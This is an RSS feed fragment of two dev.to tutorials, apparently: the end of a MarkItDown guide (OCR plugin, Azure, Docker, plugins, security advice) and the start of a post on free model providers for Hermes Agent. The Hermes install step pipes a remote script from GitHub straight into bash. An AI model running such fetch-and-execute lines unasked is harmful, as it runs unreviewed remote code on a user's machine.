    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;This is useful when the actual visual content of an image matters for downstream processing, not just the file metadata.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;ocr-support-via-plugin&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#ocr-support-via-plugin&quot;&gt;
  &lt;/a&gt;
  OCR Support via Plugin
&lt;/h2&gt;

&lt;p&gt;For PDFs and Office documents that contain images with embedded text (scanned documents, screenshots inside slides), MarkItDown supports a separate OCR plugin:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;pip &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;markitdown-ocr
pip &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;openai
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;markitdown&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MarkItDown&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;openai&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OpenAI&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;md&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MarkItDown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;enable_plugins&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;llm_client&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;OpenAI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;llm_model&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;gpt-4o&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;scanned_report.pdf&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text_content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The OCR plugin uses the same LLM vision pattern as image descriptions — no separate ML libraries or binaries are required.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;azure-document-intelligence&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#azure-document-intelligence&quot;&gt;
  &lt;/a&gt;
  Azure Document Intelligence
&lt;/h2&gt;

&lt;p&gt;For enterprise-grade document parsing (better table extraction, form recognition), MarkItDown integrates with Azure Document Intelligence:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# CLI&lt;/span&gt;
markitdown report.pdf &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; report.md &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;your_endpoint&amp;gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;markitdown&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MarkItDown&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;md&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MarkItDown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;docintel_endpoint&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;your_endpoint&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;complex_form.pdf&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text_content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;This is the right path if you are processing complex financial documents, legal contracts, or forms where structure accuracy is critical.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;running-with-docker&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#running-with-docker&quot;&gt;
  &lt;/a&gt;
  Running with Docker
&lt;/h2&gt;

&lt;p&gt;If you prefer containerized workflows:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;docker build &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; markitdown:latest &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; markitdown:latest &amp;lt; your-file.pdf &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; output.md
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;




&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;plugin-ecosystem&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#plugin-ecosystem&quot;&gt;
  &lt;/a&gt;
  Plugin Ecosystem
&lt;/h2&gt;

&lt;p&gt;MarkItDown supports third-party plugins. They are disabled by default.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# List installed plugins&lt;/span&gt;
markitdown &lt;span class=&quot;nt&quot;&gt;--list-plugins&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Enable plugins for a conversion&lt;/span&gt;
markitdown &lt;span class=&quot;nt&quot;&gt;--use-plugins&lt;/span&gt; path-to-file.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;To find community plugins, search GitHub for &lt;code&gt;#markitdown-plugin&lt;/code&gt;.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;security-considerations&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#security-considerations&quot;&gt;
  &lt;/a&gt;
  Security Considerations
&lt;/h2&gt;

&lt;p&gt;One thing worth knowing before you integrate this into a server-side application: MarkItDown runs with the privileges of the current process. It can access local files and remote URIs the same way &lt;code&gt;open()&lt;/code&gt; or &lt;code&gt;requests.get()&lt;/code&gt; can.&lt;/p&gt;

&lt;p&gt;The recommendation from the project is to avoid passing untrusted input directly to &lt;code&gt;.convert()&lt;/code&gt;. If you only need to convert local files, use &lt;code&gt;convert_local()&lt;/code&gt;. If you need to handle streams, use &lt;code&gt;convert_stream()&lt;/code&gt;. Prefer the narrowest API for your use case.&lt;/p&gt;

&lt;p&gt;This is standard advice for any file processing library, but it is worth calling out explicitly if you are building a web-facing feature.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;is-it-worth-using&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#is-it-worth-using&quot;&gt;
  &lt;/a&gt;
  Is It Worth Using?
&lt;/h2&gt;

&lt;p&gt;The honest answer: it depends on what you need it for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MarkItDown is a good fit if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You are building an LLM pipeline that needs to ingest documents in various formats.&lt;/li&gt;
&lt;li&gt;You want a consistent Python API across PDF, Word, Excel, HTML, and other types without gluing together multiple libraries.&lt;/li&gt;
&lt;li&gt;You need a quick CLI tool to batch-convert files for indexing or embedding.&lt;/li&gt;
&lt;li&gt;You want the flexibility to extend conversion behavior via plugins.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;MarkItDown is not the right tool if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You need pixel-perfect conversion for human consumption. The project documentation explicitly says the output is meant for text analysis tools, not high-fidelity document rendering.&lt;/li&gt;
&lt;li&gt;You need production OCR without LLM dependencies. The OCR plugin requires an OpenAI-compatible client, which adds latency and cost.&lt;/li&gt;
&lt;li&gt;You are working with heavily formatted documents where layout matters beyond headings and tables (e.g., multi-column academic papers, complex invoice layouts).&lt;/li&gt;
&lt;/ul&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;quick-reference&quot; href=&quot;https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5#quick-reference&quot;&gt;
  &lt;/a&gt;
  Quick Reference
&lt;/h2&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Install all formats&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install &#39;markitdown[all]&#39;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Convert via CLI&lt;/td&gt;
&lt;td&gt;&lt;code&gt;markitdown file.pdf -o output.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Convert via Python&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MarkItDown().convert(&quot;file.pdf&quot;).text_content&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Convert with LLM images&lt;/td&gt;
&lt;td&gt;Pass &lt;code&gt;llm_client&lt;/code&gt; and &lt;code&gt;llm_model&lt;/code&gt; to &lt;code&gt;MarkItDown()&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enable OCR plugin&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;pip install markitdown-ocr&lt;/code&gt;, then &lt;code&gt;enable_plugins=True&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use Azure Doc Intelligence&lt;/td&gt;
&lt;td&gt;Pass &lt;code&gt;docintel_endpoint&lt;/code&gt; to &lt;code&gt;MarkItDown()&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Run via Docker&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker run --rm -i markitdown:latest &amp;lt; file.pdf &amp;gt; output.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;hr&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href=&quot;https://github.com/microsoft/markitdown&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://github.com/microsoft/markitdown&lt;/a&gt;  &lt;/p&gt;


            </description><link>https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5</link><guid isPermaLink="false">https://dev.to/arshtechpro/markitdown-microsofts-tool-for-converting-almost-anything-to-markdown-5hf5</guid><pubDate>Fri, 29 May 2026 14:50:33 GMT</pubDate><author>ArshTechPro</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyynj4erw5nyvr5knn3z4.png" type="image/jpeg"></enclosure><category>ai</category><category>microsoft</category><category>llm</category><category>programming</category></item><item><title>Free Model Providers to Use with Hermes Agent</title><description>&lt;p&gt;&lt;a href=&quot;https://github.com/nousresearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Hermes Agent&lt;/a&gt; by NousResearch is an open-source AI agent that does something most frameworks do not: it learns from experience. It creates skills during use, refines its memory across sessions, and supports parallel subagents and a built-in cron scheduler. You can run it on a $5 VPS, a GPU cluster, or serverless infrastructure.&lt;/p&gt;

&lt;p&gt;The part that makes it immediately approachable is its provider flexibility. Hermes supports 200+ models across a growing list of providers, and you switch between them with a single command — no code changes. That means you can get started entirely on free tiers before committing to a paid API.&lt;/p&gt;

&lt;p&gt;This post covers which free providers work with Hermes Agent and how to get up and running with each.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;installing-hermes-agent&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#installing-hermes-agent&quot;&gt;
  &lt;/a&gt;
  Installing Hermes Agent
&lt;/h2&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt; ~/.bashrc
hermes
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;That drops you into the interactive CLI. Run &lt;code&gt;hermes setup&lt;/code&gt; to walk through the full configuration wizard, or &lt;code&gt;hermes setup --portal&lt;/code&gt; to connect via Nous Portal (their own hosted service with OAuth, which consolidates all your API keys into one subscription).&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;switching-providers&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#switching-providers&quot;&gt;
  &lt;/a&gt;
  Switching providers
&lt;/h2&gt;

&lt;p&gt;Once installed, switching providers is a single command:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;hermes model
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Or inline during a conversation: &lt;code&gt;/model [provider:model]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;No config file edits, no restarts. This is what makes free-tier exploration practical — you can try a model, hit a rate limit, and switch to another in seconds.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;free-providers-supported-by-hermes-agent&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#free-providers-supported-by-hermes-agent&quot;&gt;
  &lt;/a&gt;
  Free providers supported by Hermes Agent
&lt;/h2&gt;

&lt;h3&gt;
  &lt;a name=&quot;nous-portal&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#nous-portal&quot;&gt;
  &lt;/a&gt;
  Nous Portal
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://nousresearch.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Nous Portal&lt;/a&gt; is Hermes&#39;s native provider. It consolidates model access, web search, image generation, and TTS under one subscription. If you want the tightest integration with Hermes and the Nous ecosystem, this is the starting point. Check their current free tier on signup.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;openrouter&quot; href=&quot;https://dev.to/dalenguyen/free-model-providers-to-use-with-hermes-agent-13l9#openrouter&quot;&gt;
  &lt;/a&gt;
  OpenRouter
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://openrouter.ai/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;OpenRouter&lt;/a&gt; is the most flexible free option. It gives you access to 200+ models — including Llama 4, DeepSeek, Gemma, and Mistral — through a single API key. The free tier covers 27+ models (marked with a &lt;code&gt;:free&lt;/code&gt; suffix) at 200 requests per day and 20 requests per minute.&lt;/p&gt;

